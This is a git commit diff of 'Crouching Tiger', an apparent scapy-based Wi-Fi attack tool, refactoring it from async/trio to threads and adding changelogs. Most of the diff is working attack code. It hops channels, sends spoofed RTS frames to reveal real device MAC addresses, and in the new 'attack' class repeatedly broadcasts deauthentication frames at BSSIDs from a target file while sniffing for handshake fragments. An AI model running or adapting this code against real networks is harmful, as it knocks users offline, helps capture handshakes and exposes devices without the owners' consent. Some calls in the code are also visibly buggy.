refactor: 🎨 0.4.0 : Code Cleanup, remove async
Removed async, clean up, updated reademe, created changelog, created attack class. Scan function is no longer
This commit is contained in:
parent
7989425675
commit
82d00bb8d2
8 changed files with 388 additions and 512 deletions
3
.gitignore
vendored
3
.gitignore
vendored
|
@ -11,6 +11,9 @@ wireless-regdb*
|
|||
example.ipynb
|
||||
config.ini
|
||||
share/*
|
||||
Archive/*
|
||||
Archive
|
||||
archive.py
|
||||
### Generated by gibo (https://github.com/simonwhitaker/gibo)
|
||||
### https://raw.github.com/github/gitignore/4488915eec0b3a45b5c63ead28f286819c0917de/Global/Images.gitignore
|
||||
|
||||
|
|
16
README.md
16
README.md
|
@ -15,12 +15,9 @@
|
|||
|
||||
There are several of goals/ideal the project would like to achieve. They are:
|
||||
|
||||
* [X] Maintain a low footprint and system load
|
||||
* [X] The ability to spawn attack vectors when an AP or client is available.
|
||||
* [ ] Run in the background for an indefinite period if need be.
|
||||
* [ ] Provide a scanning feature used to create a properly formatted csv file to store identified
|
||||
targets in.
|
||||
* [ ] Provide a mac address sieve to identify real mac addresses in a network containing randomly generated ones.
|
||||
|
||||
## IMPORTANT NOTE
|
||||
|
||||
|
@ -103,14 +100,6 @@ use_daemon = boolean(default=False)
|
|||
if_type = option('create', 'switch', default='switch')
|
||||
valid_results = string(default='ct_valid.csv')
|
||||
channel_list = list(default=list(1, 6, 11))
|
||||
|
||||
# -----------------------------------------------------------
|
||||
|
||||
# Scan Settings
|
||||
# ----------------
|
||||
[SCAN]
|
||||
save_results = boolean(default=false)
|
||||
results_file = string(default='ct_aps.csv')
|
||||
"""
|
||||
```
|
||||
|
||||
|
@ -148,10 +137,6 @@ There are three types of actions that can be performed:
|
|||
addresses. Then transmits a Clear to Send Frame. If the device responds with
|
||||
data frame, then information on the device will be stored and written to file.
|
||||
|
||||
4. SCAN [scn] = Scan for target
|
||||
This action only scans for the target(s) provided and writes results to a csv file
|
||||
This file can later be used with the attack command.
|
||||
|
||||
options:
|
||||
-h, --help show this help message and exit
|
||||
-v, --version show program's version number and exit
|
||||
|
@ -170,7 +155,6 @@ actions:
|
|||
{att,mac,scn} You must use one.
|
||||
att Attack target
|
||||
mac Grab Valid addresses
|
||||
scn Scan for target
|
||||
|
||||
Processing will take several seconds, please be patient.
|
||||
```
|
||||
|
|
135
changelog.md
Normal file
135
changelog.md
Normal file
|
@ -0,0 +1,135 @@
|
|||
0.4.0 / 2024-01-23
|
||||
==================
|
||||
|
||||
|
||||
|
||||
1.1.3 / 2023-12-09
|
||||
==================
|
||||
|
||||
* breaking down into modules
|
||||
* asyncio swapped for trio
|
||||
* cleaning up readme
|
||||
* Delete clients.csv
|
||||
* Delete clients.txt
|
||||
* Delete essid.txt
|
||||
* Delete aps.txt
|
||||
* Delete probe-iterator.py
|
||||
* Delete ssids.txt
|
||||
* Delete APs.csv
|
||||
* added to readme
|
||||
* new method of CTS vector, nicely done
|
||||
* before big cleaning of new method
|
||||
* Merge pull request 'classified' (#3) from classified into master
|
||||
* Merge branch 'master' into classified
|
||||
* corrected transport layer
|
||||
* cleaned up ignore file
|
||||
* Merge pull request 'classified -> master' (#2) from classified into master
|
||||
* Whew, what a bitch...milestone done
|
||||
* corrected log formatting
|
||||
* testing
|
||||
* a few hiccups
|
||||
* significant improvement in class formation
|
||||
* significant improvement in class formation
|
||||
* Commiting to classified_dev
|
||||
* added pcap to gitignore
|
||||
* Working with new way to parse args for classes
|
||||
* Merge pull request 'classified' (#1) from classified into master
|
||||
* Stops on keyboard interrupt, like it should.
|
||||
* works, be needs to be cleaned up and further classified
|
||||
* Working on classes
|
||||
* like a top
|
||||
* better run configuration
|
||||
* corrected cts frame
|
||||
* sniffers both async
|
||||
* added bit about unique mac.
|
||||
* new configuration for macpurger stops after first sent packet.
|
||||
* playing with packet intervals
|
||||
* finished up and readme
|
||||
* Simplification of entire process
|
||||
* Cleaning up
|
||||
* wrapping up cts vector
|
||||
* Works, but runs forever
|
||||
* Testing CTS vector
|
||||
* It Works!
|
||||
* returned to more sloppy code;
|
||||
* should be running round robin
|
||||
* stopping for the night
|
||||
* fixed daemon flag
|
||||
* just errrggg
|
||||
* removed faker-wifi-essid dependency
|
||||
* added changing of mac addresses
|
||||
* logging setup, daemonizing resolved, poetry is no longer required
|
||||
* added ability to daemonize
|
||||
* added to readme
|
||||
* no error output, time for testing
|
||||
* corrected spelling of system
|
||||
* troubleshooting and debugging
|
||||
* wrapping up attack mode
|
||||
* creation attack mode
|
||||
* working on vector
|
||||
* added to gitignore
|
||||
* formulating attack vector
|
||||
* finally receiving output from scapy.sniff()
|
||||
* Hardware issues discovered
|
||||
* running tests
|
||||
* configured configobj
|
||||
* correcting more .gitignore
|
||||
* correcting .gitignore
|
||||
* mods to sniff
|
||||
* might be running
|
||||
* invalid interface error present
|
||||
* Scapy-Scan-untested
|
||||
|
||||
0.1.2 / 2023-10-15
|
||||
==================
|
||||
|
||||
* Stops on keyboard interrupt, like it should.
|
||||
* works, be needs to be cleaned up and further classified
|
||||
* Working on classes
|
||||
* like a top
|
||||
* better run configuration
|
||||
* corrected cts frame
|
||||
* sniffers both async
|
||||
* added bit about unique mac.
|
||||
* new configuration for macpurger stops after first sent packet.
|
||||
* playing with packet intervals
|
||||
* finished up and readme
|
||||
* Simplification of entire process
|
||||
* Cleaning up
|
||||
* wrapping up cts vector
|
||||
* Works, but runs forever
|
||||
* Testing CTS vector
|
||||
* It Works!
|
||||
* returned to more sloppy code;
|
||||
|
||||
roundrobin / 2023-10-03
|
||||
=======================
|
||||
|
||||
* should be running round robin
|
||||
* stopping for the night
|
||||
* fixed daemon flag
|
||||
* just errrggg
|
||||
* removed faker-wifi-essid dependency
|
||||
* added changing of mac addresses
|
||||
* logging setup, daemonizing resolved, poetry is no longer required
|
||||
* added ability to daemonize
|
||||
* added to readme
|
||||
* no error output, time for testing
|
||||
* corrected spelling of system
|
||||
* troubleshooting and debugging
|
||||
* wrapping up attack mode
|
||||
* creation attack mode
|
||||
* working on vector
|
||||
* added to gitignore
|
||||
* formulating attack vector
|
||||
* finally receiving output from scapy.sniff()
|
||||
* Hardware issues discovered
|
||||
* running tests
|
||||
* configured configobj
|
||||
* correcting more .gitignore
|
||||
* correcting .gitignore
|
||||
* mods to sniff
|
||||
* might be running
|
||||
* invalid interface error present
|
||||
* Scapy-Scan-untested
|
||||
* underway
|
22
changelog.org
Normal file
22
changelog.org
Normal file
|
@ -0,0 +1,22 @@
|
|||
#+TITLE: Crouching Tiger Changelog
|
||||
#+DATE: Tues Jan 23, 2024
|
||||
#+AUTHOR: Anoduck
|
||||
#+PROJECT: Crouching Tiger
|
||||
#+REPO:
|
||||
#+LICENSE: MIT
|
||||
#+OPTIONS: H:3 num:nil toc:nil \n:nil ::t |:t ^:t -:t f:T *:T
|
||||
#+EXPORT_SELECT_TAGS: EXPORT
|
||||
#+EXPORT_EXCLUDE_TAGS: noexport
|
||||
# ---------------------------------------
|
||||
* Changelog
|
||||
** Unreleased
|
||||
*** 2024.01.23
|
||||
- Dropped Asynchronous processing, as it was pointless
|
||||
- Moved Attack action into it's own class.
|
||||
- Code cleanup.
|
||||
- Removed usage of trio.
|
||||
- removed trio from project file
|
||||
- removed daemon from project file
|
||||
- removed daemonize from project file
|
||||
- corrected purge startup
|
||||
- It works
|
405
ctiger.py
405
ctiger.py
|
@ -27,15 +27,14 @@ from faker import Faker
|
|||
from art.art import tprint
|
||||
from dataclasses import dataclass
|
||||
import multiprocessing as mp
|
||||
import trio
|
||||
import threading
|
||||
from random import choice
|
||||
from configobj import ConfigObj, validate
|
||||
from collections import Counter
|
||||
import pandas as pd
|
||||
import signal
|
||||
import logging
|
||||
from time import sleep
|
||||
import logging
|
||||
sys.path.append(os.path.expanduser('~/.cache/pypoetry/virtualenvs/crouching-tiger-PCIv_4zN-py3.11/lib/python3.11/site-packages'))
|
||||
|
||||
# _ _ _ ____ ___ _ ___ _ ___ ___
|
||||
|
@ -52,7 +51,7 @@ pc = Counter()
|
|||
fake = Faker()
|
||||
# fake.add_provider(WifiESSID)
|
||||
|
||||
VERSION = "0.3.1"
|
||||
VERSION = "0.4.0"
|
||||
|
||||
# ------------------------------------------------------------
|
||||
# ██████╗███████╗ ██████╗ ███████╗██████╗ ███████╗ ██████╗
|
||||
|
@ -90,43 +89,9 @@ use_daemon = boolean(default=False)
|
|||
if_type = option('create', 'switch', default='switch')
|
||||
valid_results = string(default='ct_valid.csv')
|
||||
channel_list = list(default=list(1, 6, 11))
|
||||
|
||||
# -----------------------------------------------------------
|
||||
|
||||
# Scan Settings
|
||||
# ----------------
|
||||
[SCAN]
|
||||
save_results = boolean(default=false)
|
||||
results_file = string(default='ct_aps.csv')
|
||||
"""
|
||||
|
||||
|
||||
# -----------------------------------------------------------
|
||||
# ██████╗ ██████╗ ███╗ ██╗ ███████╗██╗ ██╗███╗ ██╗ ██████╗
|
||||
# ██╔══██╗██╔══██╗████╗ ██║ ██╔════╝██║ ██║████╗ ██║██╔════╝
|
||||
# ██████╔╝██████╔╝██╔██╗ ██║ █████╗ ██║ ██║██╔██╗ ██║██║
|
||||
# ██╔═══╝ ██╔══██╗██║╚██╗██║ ██╔══╝ ██║ ██║██║╚██╗██║██║
|
||||
# ██║ ██║ ██║██║ ╚████║ ██║ ╚██████╔╝██║ ╚████║╚██████╗
|
||||
# ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═════╝
|
||||
# -----------------------------------------------------------
|
||||
def extract_essid(layers):
|
||||
retval = ''
|
||||
counter = 0
|
||||
|
||||
try:
|
||||
while True:
|
||||
layer = layers[counter]
|
||||
if hasattr(layer, "ID") and layer.ID == 0:
|
||||
retval = layer.info.decode('utf-8')
|
||||
break
|
||||
else:
|
||||
counter += 1
|
||||
except IndexError:
|
||||
pass
|
||||
|
||||
return retval
|
||||
|
||||
|
||||
def extract_channel(layers):
|
||||
retval = ''
|
||||
counter = 0
|
||||
|
@ -145,98 +110,6 @@ def extract_channel(layers):
|
|||
return retval
|
||||
|
||||
|
||||
# ------------------------------------------------------------
|
||||
# ██████╗ ██████╗ ███╗ ██╗██████╗
|
||||
# ██╔══██╗██╔══██╗████╗ ██║╚════██╗
|
||||
# ██████╔╝██████╔╝██╔██╗ ██║ █████╔╝
|
||||
# ██╔═══╝ ██╔══██╗██║╚██╗██║██╔═══╝
|
||||
# ██║ ██║ ██║██║ ╚████║███████╗
|
||||
# ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝
|
||||
# ------------------------------------------------------------
|
||||
def PRN2(pkt):
|
||||
"""Completely rewritten from the original formulation
|
||||
bssid = MAC address of device (wether ap or client)
|
||||
ssid = broadcast name of the device (iff ap)"""
|
||||
if pkt[Dot11].type == 2:
|
||||
try:
|
||||
bssid = pkt[Dot11FCS].addr2
|
||||
except:
|
||||
bssid = pkt[Dot11].addr2
|
||||
|
||||
try:
|
||||
# ssid = pkt[Dot11Elt).info.decode()
|
||||
ssid = pkt[Dot11Elt].getattr('info').decode()
|
||||
except:
|
||||
ssid = extract_essid(pkt[Dot11Elt])
|
||||
|
||||
if len(ssid) < 1:
|
||||
ssid = 'N/A'
|
||||
|
||||
try:
|
||||
dbm_signal = pkt.dBm_AntSignal
|
||||
except:
|
||||
dbm_signal = "N/A"
|
||||
if pkt.haslayer(Dot11Beacon):
|
||||
stats = pkt[Dot11Beacon].network_stats()
|
||||
channel = stats.get('channel')
|
||||
crypto = stats.get('crypto')
|
||||
else:
|
||||
crypto = "N/A"
|
||||
channel = extract_channel(pkt[Dot11Elt])
|
||||
pkt_list = [bssid, ssid, dbm_signal, channel, crypto]
|
||||
return pkt_list
|
||||
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# ███████╗████████╗██████╗ █████╗ ██╗███╗ ██╗███████╗██████╗
|
||||
# ██╔════╝╚══██╔══╝██╔══██╗██╔══██╗██║████╗ ██║██╔════╝██╔══██╗
|
||||
# ███████╗ ██║ ██████╔╝███████║██║██╔██╗ ██║█████╗ ██████╔╝
|
||||
# ╚════██║ ██║ ██╔══██╗██╔══██║██║██║╚██╗██║██╔══╝ ██╔══██╗
|
||||
# ███████║ ██║ ██║ ██║██║ ██║██║██║ ╚████║███████╗██║ ██║
|
||||
# ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝
|
||||
# ----------------------------------------------------------------
|
||||
# print("ToDS:", frame.FCfield & 0b1 != 0)
|
||||
# print("MF:", frame.FCfield & 0b10 != 0)
|
||||
# print("WEP:", frame.FCfield & 0b01000000 != 0)
|
||||
# print("src MAC:", frame.addr2)
|
||||
# print("dest MAC:", frame.addr1)
|
||||
# print("BSSID:", frame.addr3)
|
||||
# print("Duration ID:", frame.ID)
|
||||
# print("Sequence Control:", frame.SC)
|
||||
# print(feature(frame))
|
||||
# print("\n")
|
||||
# ------------------------------------------------------------------
|
||||
# Five choices for Duration/ID:
|
||||
# 1. Calculated per packet
|
||||
# 2. Or one of the following: 16383, 26370, 32767, 65535
|
||||
#
|
||||
# Calculated as:
|
||||
# bytes = struct.pack("<H",microsec)
|
||||
# timeval = struct.unpack(">H", bytes)[0]
|
||||
# ------------------------------------------------------------------
|
||||
def strainer(pkt) -> None:
|
||||
if pkt[Dot11].type == 0 and pkt[Dot11].subtype == 4:
|
||||
bssid = pkt[Dot11FCS].addr2
|
||||
log.info('BSSID for strainer: {0}'.format(bssid))
|
||||
log.debug('Local Macaddr is: {0}'.format(macaddr))
|
||||
idval = [16383, 26370, 32767, 65535]
|
||||
durid = choice(idval)
|
||||
new_pkt = RadioTap()/Dot11(proto=0, type=1, subtype=11,
|
||||
addr1=bssid,
|
||||
addr2=macaddr,
|
||||
ID=durid)
|
||||
log.debug('Sending RTS frame to {0} with type 11'.format(bssid))
|
||||
res = srp1(new_pkt, timeout=3, verbose=0, retry=0, threaded=True)
|
||||
if res is not None:
|
||||
if res[Dot11].type == 1 and res[Dot11].subtype == 12:
|
||||
log.debug('Recieved CTS packet.')
|
||||
log.info('Intercepted CTS from: {0}'.format(bssid))
|
||||
dbm_signal = pkt.dBm_AntSignal
|
||||
channel = extract_channel(res[Dot11])
|
||||
scan_df.loc[bssid] = ['N/A', dbm_signal, channel, 'N/A']
|
||||
scan_df.to_csv(valid_file, mode='a')
|
||||
|
||||
|
||||
# -------------------------------------------------------------------
|
||||
# ███╗ ██╗███████╗████████╗██████╗ ███████╗██╗ ██╗
|
||||
# ████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██╔════╝██║ ██║
|
||||
|
@ -329,13 +202,14 @@ class NetDev:
|
|||
sys.exit(1)
|
||||
|
||||
|
||||
# ---------------------------------------------------------
|
||||
# ██████╗ ██╗ ██╗██████╗ ██████╗ ███████╗
|
||||
# ██╔══██╗██║ ██║██╔══██╗██╔════╝ ██╔════╝
|
||||
# ██████╔╝██║ ██║██████╔╝██║ ███╗█████╗
|
||||
# ██╔═══╝ ██║ ██║██╔══██╗██║ ██║██╔══╝
|
||||
# ██║ ╚██████╔╝██║ ██║╚██████╔╝███████╗
|
||||
# ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝
|
||||
# -------------------------------------------
|
||||
# ---------------------------------------------------------
|
||||
@dataclass
|
||||
class Purge(object):
|
||||
def __init__(self, **kwargs) -> None:
|
||||
|
@ -360,9 +234,9 @@ class Purge(object):
|
|||
print(f'name={thread.name}, daemon={thread.daemon}')
|
||||
while True:
|
||||
ichan = choice(chans)
|
||||
# log.debug('Hopping on: {0}'.format(ichan))
|
||||
log.debug('Hopping on: {0}'.format(ichan))
|
||||
os.system(f'iw dev {self.mon_if} set channel {str(ichan)}')
|
||||
# log.debug('Channel set to {0}'.format(ichan))
|
||||
log.debug('Channel set to {0}'.format(ichan))
|
||||
sleep(14.7)
|
||||
|
||||
def send_pkt(self, bssid) -> None:
|
||||
|
@ -381,7 +255,7 @@ class Purge(object):
|
|||
sendp(new_pkt, verbose=0)
|
||||
return
|
||||
|
||||
async def get_interface(self, interface, mon_type) -> str:
|
||||
def get_interface(self, interface, mon_type) -> str:
|
||||
self.interface = interface
|
||||
self.mon_type = mon_type
|
||||
ndev = NetDev(interface=self.interface, mon_type=self.mon_type)
|
||||
|
@ -389,10 +263,27 @@ class Purge(object):
|
|||
mon_type=self.mon_type)
|
||||
return mon_if
|
||||
|
||||
def extract_channel(self, layers):
|
||||
retval = ''
|
||||
counter = 0
|
||||
|
||||
try:
|
||||
while True:
|
||||
layer = layers[counter]
|
||||
if hasattr(layer, "ID") and layer.ID == 3 and layer.len == 1:
|
||||
retval = ord(layer.info)
|
||||
break
|
||||
else:
|
||||
counter += 1
|
||||
except IndexError:
|
||||
pass
|
||||
|
||||
return retval
|
||||
|
||||
def cts_prn(self, pkt):
|
||||
log.info('Intercepted CTS from {0}'.format(self.bssid))
|
||||
dbm_signal = pkt.dBm_AntSignal
|
||||
pkt_chan = extract_channel(pkt[Dot11])
|
||||
pkt_chan = self.extract_channel(pkt[Dot11])
|
||||
log.debug('Extracted channel: {0}'.format(pkt_chan))
|
||||
scan_df.loc[self.bssid] = [macaddr, dbm_signal,
|
||||
pkt_chan, 'N/A']
|
||||
|
@ -408,15 +299,7 @@ class Purge(object):
|
|||
self.send_pkt(bssid)
|
||||
return
|
||||
|
||||
async def start_sniff(self, probe_sniff):
|
||||
await probe_sniff.start()
|
||||
await trio.sleep(0)
|
||||
|
||||
async def start_cts(self, cts_sniff):
|
||||
await cts_sniff.start()
|
||||
await trio.sleep(0)
|
||||
|
||||
async def mac_revealer(self, interface, mon_type, valid_file, channels):
|
||||
def mac_revealer(self, interface, mon_type, valid_file, channels):
|
||||
log.info('mac revealer started')
|
||||
self.interface = interface
|
||||
self.mon_type = mon_type
|
||||
|
@ -426,7 +309,7 @@ class Purge(object):
|
|||
global scan_df
|
||||
scan_df = get_df()
|
||||
log.info('acquired Dataframe')
|
||||
mon_if = await self.get_interface(self.interface, self.mon_type)
|
||||
mon_if = self.get_interface(self.interface, self.mon_type)
|
||||
log.debug('mon_if: {0}'.format(mon_if))
|
||||
log.debug('return type: {0}'.format(type(mon_if)))
|
||||
self.mon_if = mon_if
|
||||
|
@ -435,37 +318,48 @@ class Purge(object):
|
|||
iface=mon_if, prn=self.probe_prn,
|
||||
filter="type mgt subtype probe-req",
|
||||
monitor=True)
|
||||
probe_sniff.start()
|
||||
cts_sniff = AsyncSniffer(filter='type ctl subtype cts',
|
||||
iface=mon_if, prn=self.cts_prn,
|
||||
monitor=True)
|
||||
async with trio.open_nursery() as nursery:
|
||||
nursery.start_soon(self.channel_runner,
|
||||
self.mon_if, self.channels)
|
||||
nursery.start_soon(start_sniff, probe_sniff)
|
||||
nursery.start_soon(start_cts, cts_sniff)
|
||||
cts_sniff.start()
|
||||
channel_thread = threading.Thread(target=self.channel_runner,
|
||||
args=(self.mon_if,
|
||||
self.channels))
|
||||
channel_thread.start()
|
||||
log.info('Channel runner started.')
|
||||
log.info('Probe sniffer started')
|
||||
log.info('CTS sniffer started')
|
||||
await trio.sleep(0)
|
||||
|
||||
def start_purge(self) -> None:
|
||||
|
||||
def start_purge(interface, mon_type, valid_file, channels) -> None:
|
||||
signal.signal(signal.SIGINT, signal_handler)
|
||||
print('Enter Ctrl+C TWICE to fully stop the script.')
|
||||
trio.run(self.mac_revealer, self.interface, self.mon_type,
|
||||
self.valid_file, self.channels)
|
||||
purge = Purge()
|
||||
purge.mac_revealer(interface=interface,
|
||||
mon_type=mon_type,
|
||||
valid_file=valid_file,
|
||||
channels=channels)
|
||||
forever_wait = threading.Event()
|
||||
forever_wait.wait()
|
||||
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# ███████╗███╗ ██╗██╗███████╗███████╗ ███████╗████████╗ ██████╗ ██████╗
|
||||
# ██╔════╝████╗ ██║██║██╔════╝██╔════╝ ██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗
|
||||
# ███████╗██╔██╗ ██║██║█████╗ █████╗ ███████╗ ██║ ██║ ██║██████╔╝
|
||||
# ╚════██║██║╚██╗██║██║██╔══╝ ██╔══╝ ╚════██║ ██║ ██║ ██║██╔═══╝
|
||||
# ███████║██║ ╚████║██║██║ ██║ ███████║ ██║ ╚██████╔╝██║
|
||||
# ╚══════╝╚═╝ ╚═══╝╚═╝╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═╝
|
||||
# ----------------------------------------------------------------------------
|
||||
async def sniff_stop(pkt):
|
||||
# -------------------------------------------------------------
|
||||
# █████╗ ████████╗████████╗ █████╗ ██████╗██╗ ██╗
|
||||
# ██╔══██╗╚══██╔══╝╚══██╔══╝██╔══██╗██╔════╝██║ ██╔╝
|
||||
# ███████║ ██║ ██║ ███████║██║ █████╔╝
|
||||
# ██╔══██║ ██║ ██║ ██╔══██║██║ ██╔═██╗
|
||||
# ██║ ██║ ██║ ██║ ██║ ██║╚██████╗██║ ██╗
|
||||
# ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝
|
||||
# -------------------------------------------------------------
|
||||
class attack:
|
||||
|
||||
def __init__(self, mon_dev, scan_file, log):
|
||||
self.mon_dev = mon_dev
|
||||
self.scan_file = scan_file
|
||||
log = log
|
||||
|
||||
def sniff_stop(self, pkt):
|
||||
global hndshk_frag
|
||||
hndshk_frag = 0
|
||||
|
||||
|
@ -481,66 +375,31 @@ async def sniff_stop(pkt):
|
|||
hndshk_frag = 0
|
||||
return True
|
||||
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# ███████╗███████╗████████╗ ██████╗██╗ ██╗ █████╗ ███╗ ██╗███╗ ██╗███████╗██╗
|
||||
# ██╔════╝██╔════╝╚══██╔══╝ ██╔════╝██║ ██║██╔══██╗████╗ ██║████╗ ██║██╔════╝██║
|
||||
# ███████╗█████╗ ██║ ██║ ███████║███████║██╔██╗ ██║██╔██╗ ██║█████╗ ██║
|
||||
# ╚════██║██╔══╝ ██║ ██║ ██╔══██║██╔══██║██║╚██╗██║██║╚██╗██║██╔══╝ ██║
|
||||
# ███████║███████╗ ██║ ╚██████╗██║ ██║██║ ██║██║ ╚████║██║ ╚████║███████╗███████╗
|
||||
# ╚══════╝╚══════╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═══╝╚══════╝╚══════╝
|
||||
# ----------------------------------------------------------------------------
|
||||
async def set_channel(interface, channel):
|
||||
try:
|
||||
os.system('iw dev ', interface, ' set channel ', channel)
|
||||
os.system('ip link set ', interface, ' up')
|
||||
log.info('Channel set to ', channel)
|
||||
except:
|
||||
log.debug('Failed to set channel on ', interface)
|
||||
print('Failed to set channel on ', interface)
|
||||
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# ███████╗███████╗███████╗██████╗ ██████╗ █████╗ ████████╗██╗ ██╗███████╗██████╗
|
||||
# ██╔════╝██╔════╝██╔════╝██╔══██╗ ██╔════╝ ██╔══██╗╚══██╔══╝██║ ██║██╔════╝██╔══██╗
|
||||
# █████╗ █████╗ █████╗ ██║ ██║ ██║ ███╗███████║ ██║ ███████║█████╗ ██████╔╝
|
||||
# ██╔══╝ ██╔══╝ ██╔══╝ ██║ ██║ ██║ ██║██╔══██║ ██║ ██╔══██║██╔══╝ ██╔══██╗
|
||||
# ██║ ███████╗███████╗██████╔╝ ╚██████╔╝██║ ██║ ██║ ██║ ██║███████╗██║ ██║
|
||||
# ╚═╝ ╚══════╝╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
|
||||
# -----------------------------------------------------------------------------
|
||||
async def feed_gather(mon_dev, targ):
|
||||
def feed_gather(self, mon_dev, targ):
|
||||
while True:
|
||||
fg_asf = await AsyncSniffer(stop_filter=sniff_stop, iface=mon_dev, monitor=True)
|
||||
fg_asf = AsyncSniffer(stop_filter=self.sniff_stop,
|
||||
iface=mon_dev, monitor=True)
|
||||
log.info('Starting pkt gather')
|
||||
await fg_asf.start()
|
||||
fg_asf.start()
|
||||
# log.info('Setting mon_dev channel to ', channel)
|
||||
pkt = RadioTap()/Dot11(type=0, subtype=4, addr1="ff:ff:ff:ff:ff:ff", addr2=targ, addr3=targ)/Dot11Deauth()
|
||||
pkt = RadioTap()/Dot11(type=0, subtype=4,
|
||||
addr1="ff:ff:ff:ff:ff:ff",
|
||||
addr2=targ, addr3=targ)/Dot11Deauth()
|
||||
log.debug('sending deauth to ', targ, ' with type 4')
|
||||
sendp(pkt, iface=mon_dev, verbose=0)
|
||||
await trio.sleep(1)
|
||||
pkt = RadioTap()/Dot11(type=0, subtype=12, addr1="ff:ff:ff:ff:ff:ff", addr2=targ, addr3=targ)/Dot11Deauth()
|
||||
pkt = RadioTap()/Dot11(type=0, subtype=12,
|
||||
addr1="ff:ff:ff:ff:ff:ff", addr2=targ, addr3=targ)/Dot11Deauth()
|
||||
log.debug('sending deauth to ', targ, ' with type 12')
|
||||
sendp(pkt, iface=mon_dev, verbose=0)
|
||||
await trio.sleep(1)
|
||||
|
||||
|
||||
def grab_macs(pkt):
|
||||
def grab_macs(self, pkt):
|
||||
if pkt.haslayer(Dot11):
|
||||
if pkt.type == 0 and pkt.subtype == 4:
|
||||
if pkt.info != '':
|
||||
log.debug('mac: ', pkt.addr2)
|
||||
return pkt.addr2
|
||||
|
||||
|
||||
# -------------------------------------------------------------------------------
|
||||
# ██████╗██╗ ██╗ █████╗ ███╗ ██╗ ██╗ ██╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗
|
||||
# ██╔════╝██║ ██║██╔══██╗████╗ ██║ ██║ ██║██╔═══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗
|
||||
# ██║ ███████║███████║██╔██╗ ██║ ███████║██║ ██║██████╔╝██████╔╝█████╗ ██████╔╝
|
||||
# ██║ ██╔══██║██╔══██║██║╚██╗██║ ██╔══██║██║ ██║██╔═══╝ ██╔═══╝ ██╔══╝ ██╔══██╗
|
||||
# ╚██████╗██║ ██║██║ ██║██║ ╚████║ ██║ ██║╚██████╔╝██║ ██║ ███████╗██║ ██║
|
||||
# ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝
|
||||
# -------------------------------------------------------------------------------
|
||||
async def chan_hopper(mon_dev, channels):
|
||||
def chan_hopper(self, mon_dev, channels):
|
||||
log.info('Channel hopper started.')
|
||||
chlist = list(set(channels))
|
||||
chlist.sort()
|
||||
|
@ -548,21 +407,13 @@ async def chan_hopper(mon_dev, channels):
|
|||
chans = [int(chan) for chan in chlist]
|
||||
while True:
|
||||
ichan = choice(chans)
|
||||
os.system('iw dev ', mon_dev, ' set channel ', str(ichan))
|
||||
iw_cmd = 'iw dev ' + mon_dev + ' set channel ' + str(ichan)
|
||||
os.system(iw_cmd)
|
||||
log.debug('Channel set to ', str(ichan))
|
||||
await trio.sleep(4.7)
|
||||
sleep(14.7)
|
||||
# return ichan
|
||||
|
||||
|
||||
# -------------------------------------------------------------
|
||||
# █████╗ ████████╗████████╗ █████╗ ██████╗██╗ ██╗
|
||||
# ██╔══██╗╚══██╔══╝╚══██╔══╝██╔══██╗██╔════╝██║ ██╔╝
|
||||
# ███████║ ██║ ██║ ███████║██║ █████╔╝
|
||||
# ██╔══██║ ██║ ██║ ██╔══██║██║ ██╔═██╗
|
||||
# ██║ ██║ ██║ ██║ ██║ ██║╚██████╗██║ ██╗
|
||||
# ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝
|
||||
# -------------------------------------------------------------
|
||||
async def attack(mon_dev, scan_file):
|
||||
def attack(self, mon_dev, scan_file):
|
||||
log.info('Beginning Attack')
|
||||
get_df()
|
||||
targets = pd.read_csv(scan_file, index_col=0)
|
||||
|
@ -574,23 +425,31 @@ async def attack(mon_dev, scan_file):
|
|||
bssids = list(set(pd_bssid_list))
|
||||
log.info('Channel list: ', str(channels))
|
||||
log.info('BSSID list: ', str(bssids))
|
||||
asniff = AsyncSniffer(iface=mon_dev, prn=grab_macs, monitor=True, store=False)
|
||||
asniff = AsyncSniffer(iface=mon_dev,
|
||||
prn=self.grab_macs,
|
||||
monitor=True, store=False)
|
||||
asniff.start()
|
||||
log.info('Starting channel hopper')
|
||||
while True:
|
||||
await chan_hopper(mon_dev, channels)
|
||||
ch_thread = threading.Thread(
|
||||
target=self.chan_hopper,
|
||||
args=(mon_dev, channels))
|
||||
ch_thread.start()
|
||||
if asniff.results is not None:
|
||||
with await asniff.results() as ares:
|
||||
with asniff.results() as ares:
|
||||
for row in ares:
|
||||
if row[1] in targets:
|
||||
log.info('Found target: ', row[1])
|
||||
await feed_gather(mon_dev, row)
|
||||
await trio.sleep(1)
|
||||
fg_thread = threading.Thread(
|
||||
target=self.feed_gather,
|
||||
args=(mon_dev, row))
|
||||
fg_thread.start()
|
||||
|
||||
|
||||
def start_attack(mondev, scan_file):
|
||||
def start_attack(mondev, scan_file, log):
|
||||
log.info('Starting the attack')
|
||||
trio.run(attack, mondev, scan_file)
|
||||
att = attack(mondev, scan_file, log)
|
||||
att.attack(mondev, scan_file)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
|
@ -601,6 +460,7 @@ def start_attack(mondev, scan_file):
|
|||
